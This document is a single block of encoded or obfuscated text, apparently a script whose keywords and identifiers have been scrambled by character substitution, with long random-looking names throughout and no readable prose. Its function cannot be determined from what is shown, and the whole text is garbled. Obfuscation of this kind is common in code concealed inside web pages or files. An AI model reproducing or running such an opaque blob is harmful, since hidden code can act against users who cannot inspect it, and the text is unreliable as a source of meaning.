NND@UGH@\HB@VUAG_IICHXlJ@COGYCAJXVDFC `cogsit&DIGE^BEA[@GAGXBNlVUAG_IICHXT]XK[MDlVUAG_IICHXT]XK[MD&N_sVV]XKZBUlEK^NHCBNJO_T]XK[MDlNND@UGH@\HB@T]XK[MD&EJVUAG_IICHXN_sVV]XKZBUW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHX&EJYCAJXVDFCJM@_IW&EJEK^NHCBNJO_VUAG_IICHXlJ@COGYCAJXVDFC `cogsyb&lJO@C_IYCAJXVDFC&Q&OCBXEBYI&&Q&EJVUAG_IICHXN_sVV]XKZBU MJT@BMsGJM@_IW&EJlNND@UGH@\HB@]E]TFKTIXXW&EJYCAJXVDFCJM@_IW&EJNND@UGH@\HB@NND@UGH@\HB@lJ@COGYCAJXVDFC `cogsyb&lJO@C_IYCAJXVDFC&&Q&OCBXEBYI&Q&N_sVV]XKZBUFTEJYA]XYIMJBH^@ON_sVV]XKZBU MJT@BMsG&Q&EJE[sZ]V\MU]NVKN_sVV]XKZBUW&CGTNsH^OGY_HMU@YVUAG_IICHX NND@UGH@\HB@V]DUKJCVDZU@@Z^B\V]DUKJ	&EJYCAJXVDFCJM@_IW&EJNND@UGH@\HB@EK^NHCBNJO_lJ@COGYCAJXVDFC `cogsyb&lJO@C_IYCAJXVDFC&Q&OCBXEBYI&Q&EJlE[sZ]V\MU]NVK]E]TFKTIXXW&{|jY@@EXIiHEXEBK_I^EM@EVIHE_X^ENYXC^&&EJYCAJXVDFCJM@_IW&EJVUAG_IICHXVUAG_IICHXlJ@COGYCAJXVDFC `cogsyb&lJO@C_IYCAJXVDFC&&&Q&&&OCBXEBYI&Q&EJEA][G@T^MFM[GW&&&&ZNT^MB@_JpBeJaCHY@I@EXI_\IIHpBBJCCUEI[E^CBEEE[sZ]V\MU]NVK]E]TFKTIXXpBeJaCHY@IpB&QI@_IW&ZNT^MB@_JpBeJaCHY@IACHs\D\OpBBJCCUEI[E^CBEEVUAG_IICHX]E]TFKTIXXpBeJaCHY@IpB&eJaCHY@IACHs\D\OpBBJCCUEI[E^CBEEVUAG_IICHX]E]TFKTIXXpBeJaCHY@IpB&&&eJaCHY@IACHs\D\OpBBJCCUEI[E^CBEENND@UGH@\HB@]E]TFKTIXXpBeJaCHY@IpB&eJaCHY@IACHs\D\OpBBJCCUEI[E^CBEEEK^NHCBNJO_]E]TFKTIXXpBeJaCHY@IpB&&Q&EJ_N]JNVYOBBZ_TFET\T]XK[MD N_sVV]XKZBUZNT^MB@_JOUUG[[ZGTOwqM^^MUT]XK[MD N_sVV]XKZBU&EJDIGE^BEA[@GAGXBNOGDYBEsTOUKXHXT]XK[MD DIGE^BEA[@GAGXBN&&I@_IOGDYBEsTOUKXHXT]XK[MD VUAG_IICHX&EJYCAJXVDFCJM@_IW&EJEK^NHCBNJO_NND@UGH@\HB@lJ@COGYCAJXVDFC `cogsyb&lJO@C_IYCAJXVDFC&Q&Q&EJDNF@ZIUCMPPE[sZ]V\MU]NVKOUUG[[ZGTO

DCCXssZA\MXXAW&&&&&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK EK^NHCBNJO_&&]FNVI]J@FBTsJ_]E]TFKTIXX Y^CZYHD[DX&JC^IMODOUUG[[ZGTOM_JI^DJU[Y_N]JNVYOBBZ_TFET\JI^DJU[Ywq JI^DJU[Ywq&&&&^sFHZ@V^C]JBEBXKIXsC\XECBNND@UGH@\HB@ &&&Y\HMXIsC\XECBVUAG_IICHX ^sFHZ@V^C]JB VUAG_IICHX&EJ^sFHZ@V^C]JBTTW&Y\HMXIsC\XECBE[sZ]V\MU]NVK E[sZ]V\MU]NVK E[sZ]V\MU]NVK&CGTNsH^OGY_HMU@YEK^NHCBNJO_ EK^NHCBNJO_&Q&&&^IXY^B&&&Q&EJEBXKIXsC\XECBNND@UGH@\HB@ Y\HMXIsC\XECBNND@UGH@\HB@  VUAG_IICHX&EJEBXKIXsC\XECBNND@UGH@\HB@ lHI@IXIsC\XECBNND@UGH@\HB@&&&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXsYEYI]P]C]BYFYEYI]r&QOMXODiTOI\XECB@XB\NXsW&&&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&Q&Q&JYBOXECBNOX]CsVTs]KEGsU@A&W&X^UW&EJHIJEBIHVUAG_IICHX^IXY^B&EJEK^NHCBNJO_VUAG_IICHX^IXY^B&&&]_[YENO@[C_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK r&\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUTPPEK^NHCBNJO_\@D[FO@KBUTTHJT^IXY^B&OZE^G@JKsZTXM^@KF]VX][_EX&OY^^IBXlKIXsC\XECB]_[YENO@[ &EJOY^^IBX

NND@UGH@\HB@OY^^IBXVUAG_IICHXOZE^G@JKsZ

OY^^IBXOZE^G@JKsZ^IXY^B&EJVUAG_IICHXVUAG_IICHXW&Y\HMXIsC\XECB]_[YENO@[ OZE^G@JKsZ EK^NHCBNJO_&QI@_IEJHIJEBIHEK^NHCBNJO_

HIJEBIHEK^NHCBNJO_

HIJEBIHE[sZ]V\MU]NVK

HIJEBIHVUAG_IICHX

VUAG_IICHXVUAG_IICHXW&GTFVE_AM\VUAG_IICHX&JANJCXlBI[GTFVE_AM\OCB_XMBXEK^NHCBNJO_ OCB_XMBXNND@UGH@\HB@ OCB_XMBXE[sZ]V\MU]NVK OCB_XMBXVUAG_IICHX&EJJANJCX

JANJCXOCBBIOXsI^^BCW&\^IJETE__IXk`cnm`wEK^NHCBNJO_q\^IJETk`cnm`wVUAG_IICHXq\^IJETE[sZ]V\MU]NVK&&&&IFBUZCZXKJANJCX^IM@sI_OM\Is_X^EBKOZE^G@JKsZ&&J@HAOU_JANJCX^IM@sI_OM\Is_X^EBK]_[YENO@[&JANJCX]YI^UepTIpTpT~xebpTpTJW\^IJETQCpTXpTCBpTpTJpTpTECpTIsBMpTHI CpTXpTpTJBsZM@YI pTYpTC@CMHpTmpTOypTpTWJ@HAOU_Q WIFBUZCZXKQ BpTJcpTIhy|pTOeopTpTigiupT|pTpTpTiCpTpTpTpTJBsZpT@YIWIFBUZCZXKQ&EJJANJCXI^^C^CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHXNND@UGH@\HB@JANJCXI^^C^  &JANJCXO@C_I&Q&Q&MHHXU\IMBBCXMXECB_&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECB@E[K\A_[sI\&W&{|eBBI^n@COG_DCCGHIOC^MXC^&&EHHssDKFNHIJEBIHEK^NHCBNJO_{|socbxibxshe~mn|mxdNND@UGH@\HB@&HZJ[JZY^C_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK r&^IXY^BM^^MUEHHssDKFNVUAG_IICHX EHHssDKFNNND@UGH@\HB@HZJ[JZY^VUAG_IICHX HZJ[JZY^&Q&JYBOXECBIUFNsATEGXMK]O]UHZ^&W&KTK[@N\OMEBXlVUAG_IICHX]UHZ^&EJKTK[@N\OMPPKTK[@N\OM^IXY^BJM@_I&TDTACBVZ[K]A^lNND@UGH@\HB@]UHZ^&EJE[sZ]V\MU]NVKTDTACBVZ[K]A^PPNND@UGH@\HB@TDTACBVZ[K]A^PPE[sZ]V\MU]NVKTDTACBVZ[K]A^^IXY^BJM@_I&J@NJMVABE^CNND@UGH@\HB@ TDTACBVZ[K]A^ r&EJVUAG_IICHXJ@NJMVABE^CrPPJ@NJMVABE^CwqE[sZ]V\MU]NVKPPEK^NHCBNJO_J@NJMVABE^Cwq^IXY^BJM@_I&I^BIDC@VlNND@UGH@\HB@J@NJMVABE^Cwrq&EJI^BIDC@VJM@_IPPEK^NHCBNJO_I^BIDC@VTTN^IXY^BJM@_I&EJEK^NHCBNJO_I^BIDC@V  pTJpTNW&&AGD^^ZslEK^NHCBNJO_z VUAG_IICHXI^BIDC@V &EJEK^NHCBNJO_AGD^^ZsPPAGD^^ZswqPPAGD^^Zswq^IXY^BJM@_I&EJVUAG_IICHXNND@UGH@\HB@I^BIDC@VlKVHIOCHII^BIDC@V &I@_IEJEK^NHCBNJO_EK^NHCBNJO_W&I^BIDC@VlKVEBJ@MXIEK^NHCBNJO_I^BIDC@V  NND@UGH@\HB@I^BIDC@VTT &EJNND@UGH@\HB@I^BIDC@V

NND@UGH@\HB@I^BIDC@VTHNHTI^IXY^BJM@_I&&Q&I@_I^IXY^BJM@_I&&&Q&&&EJE[sZ]V\MU]NVKI^BIDC@VPPE[sZ]V\MU]NVKI^BIDC@VPPVUAG_IICHXI^BIDC@V  TTE[sZ]V\MU]NVKPPEK^NHCBNJO_I^BIDC@VJ@NJMVABE^Cwq^IXY^BJM@_I&^IXY^BI^BIDC@V&Q&JYBOXECBOOKMGVTA\E@A\M@Y&&W&{||C_XoCBXIBX^IOY^_EZIX^Y_XMBODC^&&X^UW&EJHIJEBIHNND@UGH@\HB@^IXY^B&AECX\B_\@E[K\A_[sI\&EJlNND@UGH@\HB@AECX\B_\wq^IXY^B&EJIUFNsATEGXMK]OAECX\B_\wqJM@_I^IXY^B&XNAXUCY@O\BsJ_AOFHTI\Ds\IJNND@UGH@\HB@ M^^MUss`ykss M^^MUE[sZ]V\MU]NVK^_NIVAZ NND@UGH@\HB@&EJEK^NHCBNJO_XNAXUCY@O\PPXNAXUCY@O\^IXY^B&XNAXUCY@O\VUAG_IICHXE[sZ]V\MU]NVK  XNAXUCY@O\OX_O@OMD\_MA\_OX_O@O&EJNND@UGH@\HB@XNAXUCY@O\PPXNAXUCY@O\^IXY^B&FZHCF^XBUUB[KNGMVXV[KCMBM[JXC_I\\NII@T^YDmn|mxdEK^NHCBNJO_ &_^]AKsY]BVAGNND@UGH@\HB@FZHCF^XBUUBNND@UGH@\HB@&ADBT^ME[sZ]V\MU]NVKFZHCF^XBUUBE[sZ]V\MU]NVK&ZGVs]_^VUAG_IICHXAECX\B_\wqNND@UGH@\HB@[KNGMVXV[KCMBM[JXVUAG_IICHXpBXNAXUCY@O\&EJlNND@UGH@\HB@AECX\B_\wqW&EJBOsCYCXMMVEAECX\B_\wq W&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&^IXY^B&Q&&EJ_N]JNVYOBBZ_TFET\AECX\B_\wq ZGVs]_^W&OGDYBEsTOUKXHXAECX\B_\wq [DVTYUDIYEJ&&&&]]XI^s@\F[YJ_V_ZEOIAECX\B_\wq &@MJGUDXJDsMAECX\B_\wq&Q&^IXY^B&Q&&]]YYJsGlNND@UGH@\HB@AECX\B_\wq&&&EJNND@UGH@\HB@]]YYJsGPPE[sZ]V\MU]NVK]]YYJsG^IXY^B&&EJEK^NHCBNJO_]]YYJsG _^]AKsY]BVAGJM@_I

EK^NHCBNJO_]]YYJsG ADBT^MJM@_I^IXY^B&EJEK^NHCBNJO_]]YYJsG E[sZ]V\MU]NVKJM@_I

NND@UGH@\HB@]]YYJsG VUAG_IICHXAECX\B_\wqJM@_IW&&&&EJVUAG_IICHXVUAG_IICHX EK^NHCBNJO_]]YYJsG   ET^FEHFTK

ZI^_ECBsOCA\M^IET^FEHFTKwq [KNGMVXV[KCMBM[JX EK^NHCBNJO_^IXY^B&&&EJBOsCYCXMMVEAECX\B_\wq ]]YYJsGW&CGTNsH^OGY_HMU@YVUAG_IICHX NND@UGH@\HB@&^IXY^B&Q&l_\IOY@MXIM@I^X&&EJ_N]JNVYOBBZ_TFET\AECX\B_\wq ZGVs]_^W&OGDYBEsTOUKXHXAECX\B_\wq [DVTYUDIYEJ&]]XI^s@\F[YJ_V_ZEOIAECX\B_\wq &&&@MJGUDXJDsMAECX\B_\wq&Q&^IXY^B&&&Q&CVTGEC_I\\NII@T^YDmn|mxdEK^NHCBNJO_ &]]YYJsGNND@UGH@\HB@E[sZ]V\MU]NVKCVTGEVUAG_IICHX  ]]YYJsG&EJEK^NHCBNJO_]]YYJsGW&CGTNsH^OGY_HMU@YVUAG_IICHX EK^NHCBNJO_&^IXY^B&&&Q&&&EJlE[sZ]V\MU]NVKAECX\B_\wq^IXY^B&EJXDK_sE_DJVJJDVBE[sZ]V\MU]NVKW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK NND@UGH@\HB@&&&&^IXY^B&&&Q&EJBOsCYCXMMVEAECX\B_\wq ]]YYJsGW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&^IXY^B&Q&&&&O]TZIAZUK\[VEEF^EK^NHCBNJO_&JZJ\HMHZAI_^]AKsY]BVAGpBVUAG_IICHXAECX\B_\wqNND@UGH@\HB@pBXNAXUCY@O\pBADBT^M&_N]JNVYOBBZ_TFET\AECX\B_\wq I@HAAE\Js\^\]]YYJsG JZJ\HMHZAI&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&JYBOXECBNEEFF]GJGABCO\&W&OCA\YXMN@IMYXDC^EXU&&X^UW&&&&EJHIJEBIHE[sZ]V\MU]NVK^IXY^B&AECX\B_\@E[K\A_[sI\&F_NMMDE]C@]YO_X^EBKlNND@UGH@\HB@AECX\B_\wq JM@_I BY@@  &EJNND@UGH@\HB@NND@UGH@\HB@ F_NMMDE]C@]YO ZF_ABJ\

ZF_ABJ\wq[KNGMVXV[KCMBM[JXW&JEJOYs]HJEBXKIXsC\XECBNND@UGH@\HB@ &EJEK^NHCBNJO_JEJOYs]HJ^IXY^B&&&EJIUFNsATEGXMK]OAECX\B_\wqJM@_IW&lY\HMXIsC\XECBVUAG_IICHX E[sZ]V\MU]NVK VUAG_IICHX&^IXY^B&Q&CGTNsH^OGY_HMU@YEK^NHCBNJO_ NND@UGH@\HB@&Q&\@D[FO@KBUTIVTTUBTZE^A[&&&EJ\@D[FO@KBUTPPEK^NHCBNJO_\@D[FO@KBUTPPEK^NHCBNJO_\@D[FO@KBUTPPZVHB^HE]OsNOVNY\@D[FO@KBUT^IXY^B&E]FVAAJYJE[sZ]V\MU]NVKEK^NHCBNJO_lKVIBOCHI\@D[FO@KBUT r\@D[FO@KBUT&&&EJEK^NHCBNJO_E]FVAAJYJPPE]FVAAJYJ^IXY^B&EJ_N]JNVYOBBZ_TFET\AECX\B_\wq NND@UGH@\HB@[KNGMVXV[KCMBM[JXE[sZ]V\MU]NVK\@D[FO@KBUTE[sZ]V\MU]NVKE]FVAAJYJlY\HMXIsC\XECBNND@UGH@\HB@ VUAG_IICHX NND@UGH@\HB@&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&{|xMN@In@COGIT\E^IM@I^X&&Q&JYBOXECB^MG^ss[NYTZJ@YC&W&&EJNND@UGH@\HB@EK^NHCBNJO_^IXY^BJM@_I&&[TIF[AVTHIJEBIHE[sZ]V\MU]NVK

lE[sZ]V\MU]NVKmn|mxdEK^NHCBNJO_mn|mxdE[sZ]V\MU]NVKssje`iss&^IXY^BE[sZ]V\MU]NVK[TIF[AVT _&Q&JYBOXECB_HBTGG^GV^^]OKs_&W&X^UW&EJNND@UGH@\HB@EK^NHCBNJO_PPEK^NHCBNJO_E[sZ]V\MU]NVK^IXY^B&EJHIJEBIHVUAG_IICHX^IXY^B&\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUTPPNND@UGH@\HB@\@D[FO@KBUT^IXY^B&GIU^MG^ss[NYTZJ@YC&EJGIUJM@_I^IXY^B&I\G^XI[@@GU]_E[sZ]V\MU]NVKEK^NHCBNJO_E[sZ]V\MU]NVKE[sZ]V\MU]NVK \@D[FO@KBUTVUAG_IICHX\@D[FO@KBUT&sKAATDKTDFX[CEK^NHCBNJO_EK^NHCBNJO_\@D[FO@KBUTI\G^XI[@@GU]_pB\@D[FO@KBUT&XEZTBIsOEK^NHCBNJO_sKAATDKTDFX[C&Z_sZMBUMTNlEK^NHCBNJO_GIU M  &EJZ_sZMBUMTNW&@EXTNF[[EBXlEK^NHCBNJO_Z_sZMBUMTN&Y^CZYHD[DXlE[sZ]V\MU]NVKZ_sZMBUMTN  @EXTNF[[&&EJE[sZ]V\MU]NVKY^CZYHD[DX

VUAG_IICHXY^CZYHD[DX \@D[FO@KBUTJM@_IW&lE[sZ]V\MU]NVKZ_sZMBUMTN&^IXY^B&Q&HI\^CZE_ECBOCYBXMN@IOCAAMBH&&EJ@EXTNF[[XEZTBIsOW&&lEK^NHCBNJO_Z_sZMBUMTN&Z_sZMBUMTNlNND@UGH@\HB@GIU [  &&EJZ_sZMBUMTNW&lE[sZ]V\MU]NVKZ_sZMBUMTN NND@UGH@\HB@sKAATDKTDFX[C @EXTNF[[ p &&&ANDEU[[sFlE[sZ]V\MU]NVKZ_sZMBUMTN  XEZTBIsO&lE[sZ]V\MU]NVKZ_sZMBUMTN&EJANDEU[[sFsKAATDKTDFX[CCGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@\TG]K[\XHF_YJ_\C\TG]K[\XHF\TG]K[\XHF\TG]K[\XHF&Q&^IXY^B&QI@_IW&lEK^NHCBNJO_Z_sZMBUMTN&&lNND@UGH@\HB@Z_sZMBUMTN&Q&Q&@EXTNF[[XEZTBIsO&Z_sZMBUMTNlE[sZ]V\MU]NVKGIU O  @EXTNF[[&EJZ_sZMBUMTN^IXY^B&&lEK^NHCBNJO_Z_sZMBUMTN NND@UGH@\HB@sKAATDKTDFX[C @EXTNF[[ p &ANDEU[[sFlVUAG_IICHXZ_sZMBUMTN  XEZTBIsO&EJANDEU[[sFsKAATDKTDFX[CCGTNsH^OGY_HMU@YE[sZ]V\MU]NVK NND@UGH@\HB@&&&lEK^NHCBNJO_Z_sZMBUMTN&&QOMXODxD^C[MN@I@XB\NXsW&{|O^E\XaCHY@I_HIZE^XYM@EVI_X^MXIKU&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW_BVAsBP]IXDs^[_X_BVAsBr&Q&Q&JYBOXECBI@HAAE\Js\^\OY^^IBX JZJ\HMHZAI&W&^CXMXI\E\I@EBIJC^{||C_XxI^A_&&EJE[sZ]V\MU]NVKOY^^IBXPPOY^^IBX^IXY^BNND@UGH@\HB@JZJ\HMHZAIpB&EJE[sZ]V\MU]NVKEK^NHCBNJO_ OY^^IBX NC]GMV |~ikscjjixsom|xy~iW&l^IO@MEAX^Y_XMBODC^&&&&BOOJJYGV_VNC]GMVwqwqE[sZ]V\MU]NVKNC]GMVwqwqCBKC@XFMXMJC\OA_M_KCBKC@XF&&&@KMYHBE[sZ]V\MU]NVKOY^^IBX BOOJJYGV_V &[DE@INND@UGH@\HB@@KMYHB

NND@UGH@\HB@E[sZ]V\MU]NVK @KMYHB sHAW&BOOJJYGV_VEK^NHCBNJO_sHAwq&@KMYHBNND@UGH@\HB@OY^^IBX BOOJJYGV_V &&&&Q&^IXY^BNND@UGH@\HB@OY^^IBX  BOOJJYGV_VpBJZJ\HMHZAIpBE[sZ]V\MU]NVKOY^^IBX BOOJJYGV_V&&&Q&^IXY^BEK^NHCBNJO_JZJ\HMHZAIpBpBOY^^IBX&&Q&JYBOXECBXDK_sE_DJVJJDVBGIU&&&&W&EJEK^NHCBNJO_NND@UGH@\HB@^IXY^BX^YI&ZGsTU^K[@lKIXsC\XECBVUAG_IICHXGIU &EJE[sZ]V\MU]NVKZGsTU^K[@

VUAG_IICHXZGsTU^K[@ PJM@_IW&J@NJMVABE^CE[sZ]V\MU]NVKP ZGsTU^K[@ &EJEBXJ@NJMVABE^CwqEBXEK^NHCBNJO_

EBXJ@NJMVABE^CwqTT^IXY^BJM@_I&Q&^IXY^BX^YI&Q&JYBOXECBO]TZIAZUK\[VEEF^GIU&&&W&{|jC^AMXXEBKm|e_EXIAIXM&&&&EJVUAG_IICHXVUAG_IICHXPPEK^NHCBNJO_NND@UGH@\HB@^IXY^B&&H[GE]V_@EBXEK^NHCBNJO_&ZGsTU^K[@lKIXsC\XECBEK^NHCBNJO_GIU &AFA^I_EGNKYZ&EJE[sZ]V\MU]NVKZGsTU^K[@

EK^NHCBNJO_ZGsTU^K[@ PJM@_IW&&&J@NJMVABE^CNND@UGH@\HB@P ZGsTU^K[@ &EJEBXJ@NJMVABE^CwqH[GE]V_@AFA^I_EGNKYZEBXJ@NJMVABE^Cwq&Q&&&&AFA^I_EGNKYZ&lY\HMXIsC\XECBE[sZ]V\MU]NVKGIU H[GE]V_@PAFA^I_EGNKYZ VUAG_IICHX&&&EJAFA^I_EGNKYZCGTNsH^OGY_HMU@YEK^NHCBNJO_ NND@UGH@\HB@GIU&Q&JYBOXECBYsYUK^EVDEI&&&W&&&&X^UW&&&EJHIJEBIHE[sZ]V\MU]NVK^IXY^B&EJHIJEBIHVUAG_IICHXPPlE[sZ]V\MU]NVK{|socbxibxshe~PPC^GEDND_ADAsXDV{|socbxibxshe~^IXY^B&&&ZJKVHJ{|socbxibxshe~&Z[]OXsDF^ZJKVHJE[sZ]V\MU]NVK&HZ]]M\F[FZVUEK^NHCBNJO_^_NIVAZ EK^NHCBNJO_&]JKJ\JD^^C_I\\NII@T^YDmn|mxdEK^NHCBNJO_ NND@UGH@\HB@&IFGYIVMOIB^J[AXXJCU]ZNBNKE&&&]_[YENO@[C_I\\NII@T^YDmn|mxdVUAG_IICHX TT&&CGM_HYZ[TDNND@UGH@\HB@NND@UGH@\HB@^MG^ss[NYTZJ@YCJM@_I&CO]MJZVCGM_HYZ[TDJM@_IVUAG_IICHXCGM_HYZ[TD&@YZXJssE__IXk`cnm`wE[sZ]V\MU]NVKq\^IJETk`cnm`wEK^NHCBNJO_q\^IJETEK^NHCBNJO_&OV^IKC^K^@EK^NHCBNJO_NND@UGH@\HB@VUAG_IICHXHZ]]M\F[FZVU_X^EBK\^FTV@HAFZ  TT&UZHUXETXBMKFJBsJ_AOFHTI\Ds\IJ&&&NND@UGH@\HB@ &M^^MUss`ykss ssve|sbmaiss ssdac|sgiuss ssc|xsbmaiss ss{|s|~ijetss sskym~hsbmaiss sszi~ecbss &M^^MUHZ]]M\F[FZVU ]JKJ\JD^^ CO]MJZV ]_[YENO@[ @YZXJss OV^IKC^K^@ [KNGMVXV[KCMBM[JX&&EJUZHUXETXBMKFJW&&EJEBXKIXsC\XECBE[sZ]V\MU]NVK CGTNsH^OGY_HMU@YVUAG_IICHX EK^NHCBNJO_&&^IXY^B&Q&OY^^IBXlEK^NHCBNJO_Z[]OXsDF^lEK^NHCBNJO_Z[]OXsDF^&&&&EJE[sZ]V\MU]NVKOY^^IBXW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK EK^NHCBNJO_&^IXY^B&Q&OY^^IBXF[sE_EYEDFGFIOY^^IBX&&&&FZHCF^XBUUB[KNGMVXV[KCMBM[JXC_I\\NII@T^YDmn|mxdNND@UGH@\HB@ &_^]AKsY]BVAGNND@UGH@\HB@FZHCF^XBUUBE[sZ]V\MU]NVK&ADBT^ME[sZ]V\MU]NVKFZHCF^XBUUBNND@UGH@\HB@&OVIYJsT]VBC_I\\NII@T^YDmn|mxdVUAG_IICHX r&YZUGOIMBVOZ[FEVUAG_IICHXE[sZ]V\MU]NVKOVIYJsT]VBNND@UGH@\HB@  OY^^IBX&YBUF]NJ@F]NND@UGH@\HB@YZUGOIMBVOZ[FE EK^NHCBNJO_JM@_I&EJE[sZ]V\MU]NVKOY^^IBX _^]AKsY]BVAGJM@_I

EK^NHCBNJO_OY^^IBX ADBT^MJM@_I

YBUF]NJ@F]W&VOTMKDUZCE@I&^IXY^B&Q&&&OY^^IBXNND@UGH@\HB@EK^NHCBNJO_  YZUGOIMBVOZ[FE&EJVUAG_IICHXOY^^IBXW&EBXI^@IMZI@MBI_&IAY^MOEGGKC[@CIAY^MOEGG&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&&^IXY^B&&&QW&OY^^IBXF[sE_EYEDFGFIOY^^IBX&^OIEssUUVUAG_IICHXNND@UGH@\HB@  UZHUXETXBMKFJ&&I[M]\\]_ZHCsUJZE[sZ]V\MU]NVKOY^^IBX&EJI[M]\\]_ZHCsUJZW&&EJXDK_sE_DJVJJDVBEK^NHCBNJO_W&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVK&^IXY^B&Q&EJBOsCYCXMMVEZ[]OXsDF^ OY^^IBXW&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVK&^IXY^B&Q&&&&O]TZIAZUK\[VEEF^EK^NHCBNJO_&QI@_IW&EJBOsCYCXMMVEZ[]OXsDF^ W&CGTNsH^OGY_HMU@YNND@UGH@\HB@ EK^NHCBNJO_&^IXY^B&Q&Q&ZKEXI\D_sTDI@HAAE\Js\^\OY^^IBX _^]AKsY]BVAGpB^OIEssUUpBADBT^M&EJ_N]JNVYOBBZ_TFET\Z[]OXsDF^ ZKEXI\D_sTDW&^IXY^B&Q&EJI[M]\\]_ZHCsUJZ@MJGUDXJDsMZ[]OXsDF^&VOTMKDUZCE@I&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&&&JYBOXECB@FF^MN@A[B^K@N]N&W&&&&X^UW&{||C_XoCBXIBX^I[^EXIJ@Y_D&&EJHIJEBIHE[sZ]V\MU]NVK^IXY^B&EJVAIHJFNZXOVAK[^_NIVAZ^IXY^B&EJNND@UGH@\HB@NND@UGH@\HB@^IXY^B&EJE[sZ]V\MU]NVKVUAG_IICHX^IXY^B&EJE__IXsi~zi~wE[sZ]V\MU]NVKq^IXY^B&EJKIXsX^MB_EIBXVUAG_IICHX^IXY^B&sEGMC@JV[AXXJCU]ZNBNKE&&&EJlNND@UGH@\HB@sEGMC@JVsBTGT_@UKFJMMHsEGMC@JV  X^YI&EJlEK^NHCBNJO_sEGMC@JVPPlEK^NHCBNJO_sEGMC@JVW&sEGMC@JVmn|mxdVUAG_IICHX&&&&EJlNND@UGH@\HB@sEGMC@JVsEGMC@JVYUH]T_YAHOZXYJM&&&&&Q&ATEHMJK]ZC_I\\NII@T^YDmn|mxdK TT&[@IZIGGMUEVUAG_IICHXATEHMJK]ZVUAG_IICHX&_ED_TMHNsEGMC@JV[@IZIGGMUE&{|~IHYTXC^IHEMKBC_XEODMBH_DMGI&&ZIV@OY\^sEGMC@JVNND@UGH@\HB@ATEHMJK]Z&JC^IMODM^^MUsEGMC@JV mn|mxdEK^NHCBNJO_ YUH]T_YAHOZXYJMM_TGFDMJMC[GMW&EHT[E[E__G]TGFDMJMC[GMEK^NHCBNJO_ATEHMJK]Z&&&EJlE[sZ]V\MU]NVKEHT[E[E__G]W&CXYFTEHJUU^UEBXlVUAG_IICHXEHT[E[E__G]&EJCXYFTEHJUU^UVUAG_IICHXPPCXYFTEHJUU^UNND@UGH@\HB@W&&&EU@^_Y^]OZUI]BEHT[E[E__G]&OCBXEBYIJZ^ZV@AHHB^IE]]A[OJZ^ZV@AHHB&Q&^IKE_XI^M@@COMXECB&&EJlVUAG_IICHXTGFDMJMC[GMEK^NHCBNJO_ATEHMJK]ZVUAG_IICHX^IXY^B&EU@^_Y^]OZUI]BEHT[E[E__G]&&&&Q&Q&YB_IXTGFDMJMC[GM EHT[E[E__G] CXYFTEHJUU^U&&&HOsXBNG^C]UCmn|mxdNND@UGH@\HB@[@IZIGGMUE&EJsEGMC@JVmn|mxdE[sZ]V\MU]NVK

lE[sZ]V\MU]NVKHOsXBNG^C]UC

Y_KT]GKMOIK^\UFKEK@HOsXBNG^C]UCJM@_IW&]]XI^s@\F[YJ_V_ZEOIHOsXBNG^C]UC TTI&&&EJEU@^_Y^]OZUI]BHOsXBNG^C]UC

EK^NHCBNJO_VUAG_IICHXlC\OMODIsEBZM@EHMXIHOsXBNG^C]UC X^YI&Q&YB_IXHOsXBNG^C]UC&&&EJlEK^NHCBNJO_ZIV@OY\^

EBXlEK^NHCBNJO_ZIV@OY\^NND@UGH@\HB@THTI^IXY^B&EJlNND@UGH@\HB@_ED_TMHN

VUAG_IICHXEBXlJE@IOXEAI_ED_TMHNTITO^IXY^B&&&EJlEK^NHCBNJO__ED_TMHNW&JVsFA^AEZM]TYOlNND@UGH@\HB@sEGMC@JVEK^NHCBNJO_ATEHMJK]ZNND@UGH@\HB@_X^EBKlVUAG_IICHXsEGMC@JVEK^NHCBNJO_ATEHMJK]Z&EJJVsFA^AEZM]TYO

EK^NHCBNJO_NND@UGH@\HB@ JVsFA^AEZM]TYO

ZI^_ECBsOCA\M^IJVsFA^AEZM]TYO [KNGMVXV[KCMBM[JX ^IXY^B&YB_IXJVsFA^AEZM]TYO&Q&&EJlVUAG_IICHX_ED_TMHNW&OsUEXOHsEGMC@JVEK^NHCBNJO_C_I\\NII@T^YDmn|mxdK TT&&&]ZDUD^NF[]VlNND@UGH@\HB@OsUEXOH_X^EBKlEK^NHCBNJO_OsUEXOH&T_OZCUZM[[BFGKKG\TITJGVT[\DCIF@[BFGKKG\	&EJ]ZDUD^NF[]VW&&CCFYYUA_EK^NHCBNJO_P ]ZDUD^NF[]V&&&T_OZCUZM[EBXCCFYYUA_wq&Q&EJT_OZCUZM[

NND@UGH@\HB@T_OZCUZM[CGTNsH^OGY_HMU@YEK^NHCBNJO_ E[sZ]V\MU]NVK&I@_IEJT_OZCUZM[

